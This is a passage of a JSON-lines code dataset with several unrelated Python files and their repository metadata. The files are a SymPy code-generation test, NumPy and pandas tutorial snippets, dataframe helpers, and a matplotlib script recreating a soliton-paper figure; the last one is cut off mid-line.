code is written in\n       a temporary directory, together with a main program that validates the\n       generated code. The test passes when the compilation and the validation\n       run correctly.\n    \"\"\"\n\n    # Check input arguments before touching the file system\n    language = language.upper()\n    assert language in main_template\n    assert language in numerical_test_template\n\n    # Check that evironment variable makes sense\n    clean = os.getenv('SYMPY_TEST_CLEAN_TEMP', 'always').lower()\n    if clean not in ('always', 'success', 'never'):\n        raise ValueError(\"SYMPY_TEST_CLEAN_TEMP must be one of the following: 'always', 'success' or 'never'.\")\n\n    # Do all the magic to compile, run and validate the test code\n    # 1) prepare the temporary working directory, switch to that dir\n    work = tempfile.mkdtemp(\"_sympy_%s_test\" % language, \"%s_\" % label)\n    oldwork = os.getcwd()\n    os.chdir(work)\n\n    # 2) write the generated code\n    if friendly:\n        # interpret the routines as a name_expr list and call the friendly\n        # function codegen\n        codegen(routines, language, \"codegen\", to_files=True)\n    else:\n        code_gen = get_code_generator(language, \"codegen\")\n        code_gen.write(routines, \"codegen\", to_files=True)\n\n    # 3) write a simple main program that links to the generated code, and that\n    #    includes the numerical tests\n    test_strings = []\n    for fn_name, args, expected, threshold in numerical_tests:\n        call_string = \"%s(%s)-(%s)\" % (\n            fn_name, \",\".join(str(arg) for arg in args), expected)\n        if language == \"F95\":\n            call_string = fortranize_double_constants(call_string)\n            threshold = fortranize_double_constants(str(threshold))\n        test_strings.append(numerical_test_template[language] % {\n            \"call\": call_string,\n            \"threshold\": threshold,\n        })\n\n    if language == \"F95\":\n        f_name = \"main.f90\"\n    elif language == \"C\":\n        f_name = \"main.c\"\n    else:\n        raise NotImplemented(\n            \"FIXME: filename extension unknown for language: %s\" % language)\n\n    with open(f_name, \"w\") as f:\n        f.write(\n            main_template[language] % {'statements': \"\".join(test_strings)})\n\n    # 4) Compile and link\n    compiled = try_run(commands)\n\n    # 5) Run if compiled\n    if compiled:\n        executed = try_run([\"./test.exe\"])\n    else:\n        executed = False\n\n    # 6) Clean up stuff\n    if clean == 'always' or (clean == 'success' and compiled and executed):\n        def safe_remove(filename):\n            if os.path.isfile(filename):\n                os.remove(filename)\n        safe_remove(\"codegen.f90\")\n        safe_remove(\"codegen.c\")\n        safe_remove(\"codegen.h\")\n        safe_remove(\"codegen.o\")\n        safe_remove(\"main.f90\")\n        safe_remove(\"main.c\")\n        safe_remove(\"main.o\")\n        safe_remove(\"test.exe\")\n        os.chdir(oldwork)\n        os.rmdir(work)\n    else:\n        print(\"TEST NOT REMOVED: %s\" % work, file=sys.stderr)\n        os.chdir(oldwork)\n\n    # 7) Do the assertions in the end\n    assert compiled, \"failed to compile %s code with:\\n%s\" % (\n        language, \"\\n\".join(commands))\n    assert executed, \"failed to execute %s code from:\\n%s\" % (\n        language, \"\\n\".join(commands))\n\n\ndef fortranize_double_constants(code_string):\n    \"\"\"\n    Replaces every literal float with literal doubles\n    \"\"\"\n    import re\n    pattern_exp = re.compile('\\d+(\\.)?\\d*[eE]-?\\d+')\n    pattern_float = re.compile('\\d+\\.\\d*(?!\\d*d)')\n\n    def subs_exp(matchobj):\n        return re.sub('[eE]', 'd', matchobj.group(0))\n\n    def subs_float(matchobj):\n        return \"%sd0\" % matchobj.group(0)\n\n    code_string = pattern_exp.sub(subs_exp, code_string)\n    code_string = pattern_float.sub(subs_float, code_string)\n\n    return code_string\n\n\ndef is_feasible(language, commands):\n    # This test should always work, otherwise the compiler is not present.\n    routine = make_routine(\"test\", x)\n    numerical_tests = [\n        (\"test\", ( 1.0,), 1.0, 1e-15),\n        (\"test\", (-1.0,), -1.0, 1e-15),\n    ]\n    try:\n        run_test(\"is_feasible\", [routine], numerical_tests, language, commands,\n                friendly=False)\n        return True\n    except AssertionError:\n        return False\n\nvalid_lang_commands = []\ninvalid_lang_compilers = []\nfor lang, compiler in combinations_lang_compiler:\n    commands = compile_commands[compiler]\n    if is_feasible(lang, commands):\n        valid_lang_commands.append((lang, commands))\n    else:\n        invalid_lang_compilers.append((lang, compiler))\n\n# We test all language-compiler combinations, just to report what is skipped\n\n\ndef test_C_cc():\n    if (\"C\", 'cc') in invalid_lang_compilers:\n        skip(\"`cc' command didn't work as expected\")\n\n\ndef test_F95_ifort():\n    if (\"F95\", 'ifort') in invalid_lang_compilers:\n        skip(\"`ifort' command didn't work as expected\")\n\n\ndef test_F95_gfortran():\n    if (\"F95\", 'gfortran') in invalid_lang_compilers:\n        skip(\"`gfortran' command didn't work as expected\")\n\n\ndef test_F95_g95():\n    if (\"F95\", 'g95') in invalid_lang_compilers:\n        skip(\"`g95' command didn't work as expected\")\n\n# Here comes the actual tests\n\n\ndef test_basic_codegen():\n    numerical_tests = [\n        (\"test\", (1.0, 6.0, 3.0), 21.0, 1e-15),\n        (\"test\", (-1.0, 2.0, -2.5), -2.5, 1e-15),\n    ]\n    name_expr = [(\"test\", (x + y)*z)]\n    for lang, commands in valid_lang_commands:\n        run_test(\"basic_codegen\", name_expr, numerical_tests, lang, commands)\n\n\ndef test_intrinsic_math1_codegen():\n    # not included: log10\n    from sympy import acos, asin, atan, ceiling, cos, cosh, floor, log, ln, \\\n        sin, sinh, sqrt, tan, tanh, N\n    name_expr = [\n        (\"test_fabs\", abs(x)),\n        (\"test_acos\", acos(x)),\n        (\"test_asin\", asin(x)),\n        (\"test_atan\", atan(x)),\n        (\"test_cos\", cos(x)),\n        (\"test_cosh\", cosh(x)),\n        (\"test_log\", log(x)),\n        (\"test_ln\", ln(x)),\n        (\"test_sin\", sin(x)),\n        (\"test_sinh\", sinh(x)),\n        (\"test_sqrt\", sqrt(x)),\n        (\"test_tan\", tan(x)),\n        (\"test_tanh\", tanh(x)),\n    ]\n    numerical_tests = []\n    for name, expr in name_expr:\n        for xval in 0.2, 0.5, 0.8:\n            expected = N(expr.subs(x, xval))\n            numerical_tests.append((name, (xval,), expected, 1e-14))\n    for lang, commands in valid_lang_commands:\n        if lang == \"C\":\n            name_expr_C = [(\"test_floor\", floor(x)), (\"test_ceil\", ceiling(x))]\n        else:\n            name_expr_C = []\n        run_test(\"intrinsic_math1\", name_expr + name_expr_C,\n                 numerical_tests, lang, commands)\n\n\ndef test_instrinsic_math2_codegen():\n    # not included: frexp, ldexp, modf, fmod\n    from sympy import atan2, N\n    name_expr = [\n        (\"test_atan2\", atan2(x, y)),\n        (\"test_pow\", x**y),\n    ]\n    numerical_tests = []\n    for name, expr in name_expr:\n        for xval, yval in (0.2, 1.3), (0.5, -0.2), (0.8, 0.8):\n            expected = N(expr.subs(x, xval).subs(y, yval))\n            numerical_tests.append((name, (xval, yval), expected, 1e-14))\n    for lang, commands in valid_lang_commands:\n        run_test(\"intrinsic_math2\", name_expr, numerical_tests, lang, commands)\n\n\ndef test_complicated_codegen():\n    from sympy import sin, cos, tan, N\n    name_expr = [\n        (\"test1\", ((sin(x) + cos(y) + tan(z))**7).expand()),\n        (\"test2\", cos(cos(cos(cos(cos(cos(cos(cos(x + y + z))))))))),\n    ]\n    numerical_tests = []\n    for name, expr in name_expr:\n        for xval, yval, zval in (0.2, 1.3, -0.3), (0.5, -0.2, 0.0), (0.8, 2.1, 0.8):\n            expected = N(expr.subs(x, xval).subs(y, yval).subs(z, zval))\n            numerical_tests.append((name, (xval, yval, zval), expected, 1e-12))\n    for lang, commands in valid_lang_commands:\n        run_test(\n            \"complicated_codegen\", name_expr, numerical_tests, lang, commands)\n", "meta": {"hexsha": "1306f73ed9456a1cb13ee8a0bb42a0fe87da442c", "size": 11827, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/external/tests/test_codegen.py", "max_stars_repo_name": "vprusso/sympy", "max_stars_repo_head_hexsha": "d5aa27ec88bb076f59087aada97d99bfff8b2f4c", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-06-27T13:40:28.000Z", "max_stars_repo_stars_event_max_datetime": "2019-06-27T13:40:28.000Z", "max_issues_repo_path": "sympy/external/tests/test_codegen.py", "max_issues_repo_name": "vprusso/sympy", "max_issues_repo_head_hexsha": "d5aa27ec88bb076f59087aada97d99bfff8b2f4c", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sympy/external/tests/test_codegen.py", "max_forks_repo_name": "vprusso/sympy", "max_forks_repo_head_hexsha": "d5aa27ec88bb076f59087aada97d99bfff8b2f4c", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.4917582418, "max_line_length": 111, "alphanum_fraction": 0.6374397565, "include": true, "reason": "from sympy", "num_tokens": 3116, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.13477590699708825, "lm_q1q2_score": 0.06370634428405579}}
{"text": "import numpy as np\n\na = np.arange(10)\nprint(a)\n# [0 1 2 3 4 5 6 7 8 9]\n\na_0 = a[:6]\nprint(a_0)\n# [0 1 2 3 4 5]\n\na_1 = a_0.reshape(2, 3)\nprint(a_1)\n# [[0 1 2]\n#  [3 4 5]]\n\nprint(a_0.base)\n# [0 1 2 3 4 5 6 7 8 9]\n\nprint(a_1.base)\n# [0 1 2 3 4 5 6 7 8 9]\n\na_copy = a.copy()\nprint(a_copy)\n# [0 1 2 3 4 5 6 7 8 9]\n\nprint(a_copy.base)\n# None\n\nprint(a.base)\n# None\n\nprint(a_0.base is None)\n# False\n\nprint(a_copy.base is None)\n# True\n\nprint(a.base is None)\n# True\n\nprint(a_0.base is a)\n# True\n\nprint(a_0.base is a_1.base)\n# True\n", "meta": {"hexsha": "2af049d7f570d454d6ef2bd11ff84f643ca8c089", "size": 521, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebook/numpy_ndarray_base.py", "max_stars_repo_name": "vhn0912/python-snippets", "max_stars_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 174, "max_stars_repo_stars_event_min_datetime": "2018-05-30T21:14:50.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T07:59:37.000Z", "max_issues_repo_path": "notebook/numpy_ndarray_base.py", "max_issues_repo_name": "vhn0912/python-snippets", "max_issues_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2019-08-10T03:22:02.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-12T20:31:17.000Z", "max_forks_repo_path": "notebook/numpy_ndarray_base.py", "max_forks_repo_name": "vhn0912/python-snippets", "max_forks_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 53, "max_forks_repo_forks_event_min_datetime": "2018-04-27T05:26:35.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-25T07:59:37.000Z", "avg_line_length": 11.3260869565, "max_line_length": 27, "alphanum_fraction": 0.5969289827, "include": true, "reason": "import numpy", "num_tokens": 258, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1294027383065593, "lm_q1q2_score": 0.06369049252427139}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 29 14:13:00 2017\n@author: azkei\nAfter the Data is in a DataFrame format we can start Manipulating Data.\nThe three phases of data manipulation are:\n    1. Data Preparation\n    2. Data Transformation\n    3. Data Aggregation\n\nData preparation procedures:\n    1. Loading\n    2. Assembling\n        a. Merging\n        b. Concatenating\n        c. Combining\n    3. Reshaping (pivoting)\n    4. Removing\n\"\"\"\n# Assembling can be done in different ways:\n#   Merging: using pandas.merge() function\n#   Concatenating: using the pandas.concat()\n#   Combining: using pandas.DataFrame.combine_first()\n\n# 1. Merging - SQL join\nimport numpy as np\nimport pandas as pd\nframe1 = pd.DataFrame({'id':['ball','pencil','pen','mug','ashtray'],\n                       'price':[12.33,11.44,33.21,13.23,33.62]})\nframe1\nframe2 = pd.DataFrame({'id':['pencil','pencil','ball','pen'],\n                       'color':['white','red','red','black']})\nframe2\n# Carry out merge function\npd.merge(frame1,frame2)\n# As we can see as a result, the returned DataFrame consists of all the rows that\n# have an ID in common between the DataFrame. In addition the common column\n# that both have been added.\n\n# Specifying which column to be the base for merging.\nframe1 = pd.DataFrame({'id':['ball','pencil','pen','mug','ashtray'],\n                       'color':['white','red','red','black','green'],\n                       'brand':['OMG','ABC','ABC','POD','POD']})\nframe1\nframe2 = pd.DataFrame({'id':['pencil','pencil','ball','pen'],\n                       'brand':['OMG','POD','ABC','POD']})\nframe2\n# In this case we have 2 DataFrames having columns with the same name.\n# So if we merge, we do not get any results\npd.merge(frame1,frame2)\n# So it is necessary to explicitly define the criterion of merging using on option\npd.merge(frame1,frame2,on='id')\npd.merge(frame1,frame2,on='brand')\n# The results vary considerably depending on the criteria for merging.\n# A potential proble can arise where the column names you want to merge\n# do not have the same name\n# to fix this we use left_on, right_on\nframe2 = frame2.rename(columns={'id':'sid'})\nframe2\npd.merge(frame1,frame2,left_on='id',right_on='sid')\n# By Default the merge() function perorms an inner join.\n# The keys in the result are the result in the intersection.\n# Using the how option, you can perform, left join, right join and outer joins\nframe2 = frame2.rename(columns={'sid':'id'})\n# Default inner join\npd.merge(frame1,frame2,on='id')\n# Full outer join\npd.merge(frame1,frame2,on='id',how='outer')\n# Left join\npd.merge(frame1,frame2,on='id',how='left')\n# Right join\npd.merge(frame1,frame2,on='id',how='right')\n# To make a merge of multiple keys, just add a list to the on option\npd.merge(frame1,frame2,on=['id','brand'],how='outer')\n\n# 2. Merging on Index - using index as a criterion for merging\n# Using right_index, left_index\npd.merge(frame1,frame2,right_index=True, left_index=True)\n# DataFrame objects have a join() function when you want to do merging by index\n\n# This wont work as the index names are the same\nframe1.join(frame2)\n# rename\nframe2 = frame2.rename(columns={'id':'id1','brand':'brand2'})\nframe1.join(frame2)\n# As you can see there are some values corresponding to a frame that have NaN\n\n", "meta": {"hexsha": "1675026fa0d1d3728ebf3cf0fac63c795aecdba5", "size": 3269, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas3 - Data Manipulation/pandas1 - Data Preparation - Merging.py", "max_stars_repo_name": "jjsalomon/python-analytics", "max_stars_repo_head_hexsha": "c2b486864451c42cc3ba2aeb75b2c003112f98ee", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pandas3 - Data Manipulation/pandas1 - Data Preparation - Merging.py", "max_issues_repo_name": "jjsalomon/python-analytics", "max_issues_repo_head_hexsha": "c2b486864451c42cc3ba2aeb75b2c003112f98ee", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas3 - Data Manipulation/pandas1 - Data Preparation - Merging.py", "max_forks_repo_name": "jjsalomon/python-analytics", "max_forks_repo_head_hexsha": "c2b486864451c42cc3ba2aeb75b2c003112f98ee", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.1477272727, "max_line_length": 82, "alphanum_fraction": 0.687672071, "include": true, "reason": "import numpy", "num_tokens": 880, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416729909662417, "lm_q2_score": 0.14414885303274058, "lm_q1q2_score": 0.06366665506332374}}
{"text": "# Unit 3 Sprint 1 Module 1\n\nimport numpy as np\nimport pandas as pd\n\n#def null_count(df): Check a dataframe for nulls and return the \n#       number of missing values.\n#   returns total sum of null values from given DataFrame\ndef null_count(df):\n    return df.isnull().sum().sum()\n\n# Create a Train/Test split function for a dataframe and returns \n# both the Training and Testing sets. Frac referes to the precent of \n# data you would like to set aside for training.\ndef train_test_split(df, frac):\n    n_df = len(df)\n    if n_df == 0:\n        raise ValueError('At least one array required as input')\n    \n    train = df.head(int(len(df)* frac))\n    test = df.tail(int(len(df)* (1-frac)))\n    return train, test", "meta": {"hexsha": "fab459290314feb27052dcd0d05c737c63613bc7", "size": 710, "ext": "py", "lang": "Python", "max_stars_repo_path": "lambdata/helper_functions.py", "max_stars_repo_name": "domoreburpees/lambdata-dennis", "max_stars_repo_head_hexsha": "fa7bbb8223429259a1ea0ff7b819ed2269085666", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lambdata/helper_functions.py", "max_issues_repo_name": "domoreburpees/lambdata-dennis", "max_issues_repo_head_hexsha": "fa7bbb8223429259a1ea0ff7b819ed2269085666", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lambdata/helper_functions.py", "max_forks_repo_name": "domoreburpees/lambdata-dennis", "max_forks_repo_head_hexsha": "fa7bbb8223429259a1ea0ff7b819ed2269085666", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.2727272727, "max_line_length": 69, "alphanum_fraction": 0.6915492958, "include": true, "reason": "import numpy", "num_tokens": 179, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41869690935568665, "lm_q2_score": 0.15203224546424315, "lm_q1q2_score": 0.06365543129828372}}
{"text": "import pandas as pd\nimport numpy as np\n\n\"\"\"\n    How to create a new dataframe using Pandas\n\n\n\"\"\"\nfilename_two = \"heart.csv\"\n\ndf = pd.read_csv(filename_two)\n\n# Using pandas.\ndf = pd.DataFrame(data={\"A\": [1, 2, 3], \"B\": [\"Sam\", \"Alex\", \"John\"]})\n\nprint(df.memory_usage())\n", "meta": {"hexsha": "cc1a000461b5c977b03e56c8336f0e645b0bfe57", "size": 270, "ext": "py", "lang": "Python", "max_stars_repo_path": "Section2/code_lesson_two/creating_data_frames.py", "max_stars_repo_name": "mlobf/new_pandas_course", "max_stars_repo_head_hexsha": "ecf0ea529b22422a7e97719b89ba9037d0fb2be7", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Section2/code_lesson_two/creating_data_frames.py", "max_issues_repo_name": "mlobf/new_pandas_course", "max_issues_repo_head_hexsha": "ecf0ea529b22422a7e97719b89ba9037d0fb2be7", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Section2/code_lesson_two/creating_data_frames.py", "max_forks_repo_name": "mlobf/new_pandas_course", "max_forks_repo_head_hexsha": "ecf0ea529b22422a7e97719b89ba9037d0fb2be7", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 15.8823529412, "max_line_length": 70, "alphanum_fraction": 0.6407407407, "include": true, "reason": "import numpy", "num_tokens": 77, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.14033625128778887, "lm_q1q2_score": 0.0636090686022548}}
{"text": "\"\"\"\nModule file containing functions that allow to reproduce FIG. 2 of the article\n\n    Interaction of \"Solitons\" in a Collisionless Plasma and the Recurrence of Initial States,\n    N. J. Zabusky and M. D. Kruskal,\n    Phys. Rev. Lett. 15, 240 (1965)\n\nThis module was prepared as a part of the scientific short course\n\n  A brief guide to publication-ready scientific figures using Python's matplotlib\n\nheld during the 2020 seminar week of the Ultrafast Laser Laboratory\nat Institute of Quantum Optics at Leibniz University Hannover.\n\nAuthor: O. Melchert\nDate: 2020-09-09\n\"\"\"\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpec\n\n__author__ = 'Oliver Melchert'\n__date__ = '2020-09-09'\n\ndef fetch_data(path):\n    \"\"\"fetch data\n\n    Reads in data from file in numpy npz-format\n\n    Args:\n      path (str): path to npz-file\n\n    Returns: (x, t, uxt)\n      x (1D array): x samples\n      t (1D array): t samples\n      uxt (2D array): wave profile u(x,t)\n    \"\"\"\n    dat = np.load(path)\n    return dat['x'], dat['t'], dat['uxt']\n\n\ndef set_style():\n    \"\"\"set figure style\n\n    Function that customizes the default style to be conform with the Physical\n    Review style and notation guide [1]. For instructions on how to set the\n    default style using style sheets see [2].\n\n    Notes:\n    - main font size is chosen as 8pt, matching the fontsize of figure captions\n    - fontsize of legends and auxiliary text labels are set to 6pt, exceeding\n      the minimally required pointsize of 4.25 pt. (1.5 mm)\n    - default rc (rc = \"run commands\", i.e. startup information) settings are\n      changed dynamically\n    - the custom font-scheme 'type2' depends on your latex installation and\n      is not guaranteed to run on your specific system\n\n    Refs:\n      [1] https://journals.aps.org/prl/authors\n      [2] https://matplotlib.org/3.3.1/tutorials/introductory/customizing.html\n    \"\"\"\n\n    fig_width_1col = 3.4        # figure width in inch\n    fig_width_2col = 7.0        # figure width in inch\n    fig_aspect_ratio = 1.45     # width to height aspect ratio\n    font_size = 8               # font size in pt\n    font_size_small = 6         # font size in pt\n    font_scheme = 'type2'       # options: \n                                #   None    - default matplotlib fonts\n                                #   'type1' - text: Helvetica, math: Computer modern\n                                #   'type2' - text: Helvetica, math: Helvetica \n\n    mpl.rcParams['figure.figsize'] = fig_width_1col, fig_aspect_ratio*fig_width_1col\n    mpl.rcParams['axes.labelsize'] = font_size\n    mpl.rcParams['font.size'] = font_size\n    mpl.rcParams['legend.fontsize'] = font_size_small\n    mpl.rcParams['xtick.labelsize'] = font_size\n    mpl.rcParams['ytick.labelsize'] = font_size\n    mpl.rcParams['xtick.direction'] = 'out'\n    mpl.rcParams['ytick.direction'] = 'out'\n    mpl.rcParams['lines.linewidth'] = 1.0\n    mpl.rcParams['axes.linewidth'] =  0.5\n\n    if font_scheme == 'type1':\n        mpl.rcParams['text.usetex'] = True\n        mpl.rcParams['font.family'] = 'sans-serif'\n        mpl.rcParams['font.sans-serif'] = 'Helvetica'\n        mpl.rcParams['mathtext.fontset'] = 'cm'\n\n    if font_scheme == 'type2':\n        mpl.rcParams['text.usetex'] = True\n        mpl.rcParams['text.latex.preamble'] = [\n           r'\\usepackage{siunitx}',\n           r'\\sisetup{detect-all}',\n           r'\\usepackage{helvet}',\n           r'\\usepackage{sansmath}',\n           r'\\sansmath'\n        ]\n\n\ndef set_circle(ax, x0, y0, label):\n    \"\"\"set circle\n\n    Function that generates a circle with text-label at its center.\n    For more options on scatter plots, see [1], for more options on\n    setting text, see [2]\n\n    Refs:\n      [1] https://matplotlib.org/3.3.1/api/_as_gen/matplotlib.pyplot.scatter.html\n      [2] https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.text.html\n\n    Args:\n      ax (object): figure part for which the labeled circle is intended\n      x0 (float): x-position for center of circle\n      y0 (float): y-position for center of circle\n      label (str): text that should be displayed within circle\n    \"\"\"\n    # -- scatter plot consisting of a single object\n    ax.scatter(x0, y0, s=60, linewidth=0.75, facecolors='white', edgecolor='black', zorder=10)\n    # -- place text at the center of the scatter plot object\n    ax.text(x0, y0, label, backgroundcolor='none', ha='center', va='center', color='black', zorder=11, fontsize=6)\n\n\ndef set_colorbar(fig, img, ax):\n    \"\"\"set colorbar\n\n    Function that generates a custom colorbar. For more options on\n    colorbars and tick parameters see Refs. [1,2]\n\n    Refs:\n      [1] https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.colorbar.html\n      [2] https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.tick_params.html\n\n    Args:\n      fig (object): main figure object\n      img (object): image that should be described\n      ax (object): axes object with position info for colorbar placement\n    \"\"\"\n    # -- extract position information for colorbar placement\n    refPos = ax.get_position()\n    x0, y0, w, h = refPos.x0, refPos.y0, refPos.width, refPos.height\n    # -- set new axes as reference for colorbar\n    colorbar_axis = fig.add_axes([x0, y0 + 1.015*h, w, 0.0175*h])\n\n    # -- set custom colorbar\n    colorbar = fig.colorbar(img,        # image described by colorbar\n            cax = colorbar_axis,        # reference axex\n            orientation = 'horizontal', # colorbar orientation\n            extend = 'both'             # ends with out-of range values\n            )\n    colorbar.ax.tick_params(\n            color = 'k',                # tick color \n            labelcolor = 'k',           # label color\n            bottom = False,             # no ticks at bottom\n            labelbottom = False,        # no labels at bottom\n            labeltop = True,            # labels on top\n            top = True,                 # ticks on top\n            direction = 'out',          # place ticks outside\n            length = 3,                 # tick length in pts. \n            labelsize = 8.,             # tick font in pts.\n            pad = 0.                    # tick-to-label distance in pts.\n            )\n    colorbar.set_ticks((-2, -1, 0, 1, 2))\n    colorbar.ax.set_title(r\"Real-valued field $u(x,t)$\",\n                            fontsize=8., y=2.5)\n\n\ndef set_colorbar_small(fig, img, ax):\n    \"\"\"set small colorbar\n\n    Function that generates a custom colorbar. For more options on\n    colorbars and tick parameters see Refs. [1,2]\n\n    Refs:\n      [1] https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.colorbar.html\n      [2] https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.tick_params.html\n\n    Args:\n      fig (object): main figure object\n      img (object): image that should be described\n      ax (object): axes object with position info for colorbar placement\n    \"\"\"\n    # -- extract position information for colorbar placement\n    refPos = ax.get_position()\n    x0, y0, w, h = refPos.x0, refPos.y0, refPos.width, refPos.height\n    # -- set new axes as reference for colorbar\n    colorbar_axes = fig.add_axes([x0 + 0.875*w, y0 + 0.83*h, 0.03*w, 0.15*h])\n\n    # -- set custom colorbar\n    colorbar = fig.colorbar(img,        # image described by colorbar\n            cax = colorbar_axes,        # reference axex\n            orientation = 'vertical', # colorbar orientation\n            extend = 'both'             # ends with out-of range values\n            )\n    colorbar.ax.tick_params(\n            color = 'k',                # tick color \n            labelcolor = 'k',           # label color\n            right=False,                # no right ticks\n            labelright=False,           # no right labels\n            left=True,                  # ticks left\n            labelleft=True,             # labels left\n            direction = 'out',          # place ticks outside\n            length = 3,                 # tick length in pts. \n            labelsize = 8.,             # tick font in pts.\n            pad = 0.                    # tick-to-label distance in pts.\n            )\n    colorbar.set_ticks((-2, -1, 0, 1, 2))\n    colorbar.ax.set_ylabel(r\"Field $u(x,t)$\", fontsize = 8.)\n\n    # -- enhance contrast by placeing patch under colorbar\n    import matplotlib.patches as mpatches\n    rectangle = mpatches.Rectangle(\n            (-3., -0.1),            # bottom left corner coords. \n             6.65, 1.2,             # width, height \n            facecolor = 'white',    # path color\n            edgecolor = 'none',     # disable frame\n            alpha = 0.7,            # set transparencty    \n            transform = colorbar_axes.transAxes # use axes coords.\n            )\n    ax.add_patch(rectangle)\n\n\ndef save_figure(fig_format = None, fig_name = 'test'):\n    \"\"\" save figure\n\n    Function that saves figure or shows interactive plot\n\n    Note:\n    - if no valid option is provided, an interactive plot is shown\n\n    Args:\n      fig_format (str): format to save figure in (options: png, pdf, svg)\n      fig_name (str): name for figure (default: 'test')\n    \"\"\"\n    if fig_format == 'png':\n        plt.savefig(fig_name+'.png', format='png', dpi=600)\n    elif fig_format == 'pdf':\n        plt.savefig(fig_name+'.pdf', format='pdf', dpi=600)\n    elif fig_format == 'svg':\n        plt.savefig(fig_name+'.svg', format='svg')\n    else:\n        plt.show()\n\n\ndef generate_figure(x, t, uxt, fig_format=None, fig_name='fig02'):\n    \"\"\"generate figure\n\n    Function generating a figure reproducing FIG. 2 of [1].\n\n    Refs:\n      [1] Interaction of \"Solitons\" in a Collisionless Plasma and the Recurrence of Initial States,\n          N. J. Zabusky and M. D. Kruskal,\n          Phys. Rev. Lett. 15, 240 (1965)\n\n    Args:\n      x (1D array): x samples\n      t (1D array): t samples\n      uxt (2D array): wave profile u(x,t)\n      fig_format (str): format for output figure\n                        (choices: png, pdf, svg; default: interactive figure)\n      fig_name (str): name for output figure wihtout suffix (default='fig02')\n    \"\"\"\n\n    # (1) SET A STYLE THAT FITS THE TARGET JOURNAL\n    set_style()\n\n    # (2) SET FIGURE LAYOUT\n    fig = plt.figure()\n    plt.subplots_adjust(left = 0.17,    # pos. of subplots left border\n                        bottom = 0.065, # pos. of subplots bottom border \n                        right = 0.96,   # pos. of subplots right border\n                        top = 0.91,     # pos. of subplots top border\n                        wspace = 0.3,   # horizontal space between supblots\n                        hspace = 0.05   # vertical space between subplots\n                        )\n    gs00 = GridSpec(nrows = 1, ncols = 6)   # set geometry of subplot grid\n    ax01 = fig.add_subplot(gs00[0, 0:5])\n    ax02 = fig.add_subplot(gs00[0, 5])\n\n\n    # (3.1) SUBPLOT 1 - SET AXES CONTENTS\n    tR = 30.4/np.pi\n    t = t/tR\n    img = ax01.pcolorfast(x, t, uxt[:-1,:-1],\n                          vmin=-2., vmax=2.,                    # set color range\n                          cmap = mpl.cm.get_cmap('coolwarm')    # set colormap\n                          )\n    set_colorbar(fig, img, ax01)\n\n    # -- add auxiliary horizontal lines\n    for t0 in [0.5,1./3,1./4,1./5,1./6]:\n        ax01.axhline(t0, color = 'black', dashes = [2,2], linewidth = 1)\n\n    # -- add dashed circles\n    ax01.scatter(0.45, 0.5,     # position in data coordinates \n                s = 1400,       # symbol size in pts.-squared\n                fc = 